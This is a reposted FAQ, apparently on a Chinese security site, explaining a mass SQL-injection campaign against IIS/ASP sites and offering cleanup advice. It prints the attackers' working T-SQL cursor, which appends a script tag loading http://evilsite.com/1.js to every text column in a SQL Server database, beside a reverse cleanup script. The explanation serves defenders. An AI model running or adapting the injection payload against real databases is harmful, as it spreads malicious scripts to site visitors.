外国的注入技巧收集

所属分类: 网络安全 / 黑客教程 阅读数: 2054
收藏 0 赞 0 分享
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.




更多精彩内容其他人还在看

如何正确的进行网站入侵渗透测试

入侵渗透涉及许多知识和技术,并不是一些人用一两招就可以搞定的,下面小编就为大家具体的讲解如何正确的进行网站入侵渗透测试,希望可以帮助到大家
收藏 0 赞 0 分享

我们不知道的秘密? 黑客可以使用硬件破解GSM A5加密算法

以前我们都是在使用基于早期信号标准的GSM手机,这也是当前应用最为广泛的移动电话标准,但是大家可能还不知道,现在专业的黑客可以只需要使用三张NVIDIA GeForce GTX690显卡(GPU)就可以破解GSM A5加密算法,一起来看看到底是怎么回事吧
收藏 0 赞 0 分享

新型DDos攻击:利用LDAP服务器可实现攻击放大46-55倍

关于DDos攻击方面的知识,本网站介绍了很多,但是大家知道么,最近Corero网络安全公司发现一种新型的DDos攻击,就是针对其客户发起攻击,一起来看看具体的内容吧
收藏 0 赞 0 分享

WordPress自动更新漏洞:超1/4网站可被黑客一举击溃

最近大部分的WordPress网站都受到影响,主要的原因就是WordPress的自动更新功能造成的,因此全球超1/4的网站被黑
收藏 0 赞 0 分享

数据库10大安全工具盘点

认识问题,解决问题!既然影响数据库安全的10大因素我们已经了解了,那么保护数据库安全又有哪些妙招呢
收藏 0 赞 0 分享

老生常谈重放攻击的概念(必看篇)

下面小编就为大家带来一篇老生常谈重放攻击的概念(必看篇)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
收藏 0 赞 0 分享

winXP/win7/win10系统关闭445端口的方法(电脑勒索病毒预防)

这篇文章主要介绍了电脑勒索病毒如何预防winXP/win7/win10系统关闭445端口的方法的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

“永恒之蓝”(Wannacry)蠕虫全球肆虐 安装补丁的方法

5月12日晚,一款名为Wannacry的蠕虫勒索软件袭击全球网络,这被认为是迄今为止最巨大的勒索交费活动,影响到近百个国家上千家企业及公共组织。该软件被认为是一种蠕虫变种(也被称为“wannacryptor”或“wcry”)
收藏 0 赞 0 分享

WannaCry病毒劫持文件怎么恢复?阿里云云盾勒索病毒文件恢复的使用教程

名为WannaCry的勒索病毒让全球数十万Windows计算机中招,重要文件被实施加密,并索要赎金解锁,现在阿里云安全团队开放勒索病毒“一键解密和修复”工具,恢复已被WannaCry勒索病毒加密的文件,下面就来看看具体的操作方法吧
收藏 0 赞 0 分享

极虎病毒是什么 极虎病毒有什么危害

极虎病毒是金山毒霸云安全实验室国内首家发现的一款集合了磁碟机、AV终结者、中华吸血鬼、猫癣下载器为一体的混合病毒,由于该病毒可利用IE极光ODAY漏洞进行传播,又是虎年的第一个重大恶性病毒,因此得名“极虎”
收藏 0 赞 0 分享
查看更多